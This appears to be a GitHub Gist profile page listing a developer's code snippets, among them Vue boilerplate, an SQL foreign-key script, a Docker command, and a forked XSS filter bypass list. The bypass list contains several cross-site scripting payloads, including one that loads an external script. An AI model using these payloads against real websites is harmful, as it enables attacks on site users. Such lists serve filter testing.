Skip to content

Instantly share code, notes, and snippets.

/*
Given a river, determine whether it is crossable.
river = 'o~o~~o~~~o~~~~'
S 2 3 4 5 => true
river = 'ooo~o'
111 2
'o~o~~o~~ooo~~'
@BrianRosamilia
BrianRosamilia / index.js
Created July 27, 2017 17:44
Semi Minimal Vue/Vuex/Vue-router boilerplate
const db = new Vuex.Store({
state: {
name : 'test',
},
getters: {
name: state => {
return state.name;
}
},
mutations: {
@BrianRosamilia
BrianRosamilia / xxsfilterbypass.lst
Created May 30, 2017 03:27 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@BrianRosamilia
BrianRosamilia / responsivelink-vue.js
Last active February 8, 2017 15:12
Responsive Vue.js Link For Mobile links
@BrianRosamilia
BrianRosamilia / a.sql
Last active August 19, 2016 17:41
Find Missing Foreign Keys in SQL Server
SELECT 'ALTER TABLE [' + sch.name + '].' + '[' + t.name + ']'
+ ' WITH CHECK ADD CONSTRAINT [FK_' + t.name + '_' + q.tableName + '] FOREIGN KEY([' + c.name + ']) REFERENCES ' +
+ '[' + q.schemaName + '].' + '[' + q.tableName + ']' + '([' + c.name + ']);' + CHAR(13)+CHAR(10) + 'GO'
as [script]
FROM sys.columns c
INNER JOIN sys.tables t
ON t.object_id = c.object_id
INNER JOIN sys.indexes i
ON i.object_id = t.object_id
LEFT JOIN sys.foreign_key_columns fkc_Parent
@BrianRosamilia
BrianRosamilia / d.sh
Created August 9, 2016 02:42
Docker get host ip from container
netstat -nr | grep '^0\.0\.0\.0' | awk '{print $2}'
@BrianRosamilia
BrianRosamilia / _.js
Created July 26, 2016 17:17
selector attribute contains
document.querySelectorAll('[class*="new"],[id*="hea"]')
@BrianRosamilia
BrianRosamilia / script.cs
Created July 25, 2016 19:57
Scriptcs Testing
#r C:\temp\Newtonsoft.Json.dll
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
string json = @"{
CPU: 'Intel',
Drives: [
'DVD read/writer',
'500 gigabyte hard drive'
@BrianRosamilia
BrianRosamilia / gist:9fd236f10fd73240ca1549ecb9efff36
Created May 29, 2016 21:36
Generate Code and assert its validty with Handlebars + Acorn + ava
let test = require('ava');
let handlebars = require('handlebars');
let acorn = require('acorn');
test('foo', t => {
let q = handlebars.compile('let x = {{{tt}}}');
let newAst = q({tt : "x => { console.log('Hello World!') }"});
console.log(newAst);
var ast = acorn.parse(newAst,{});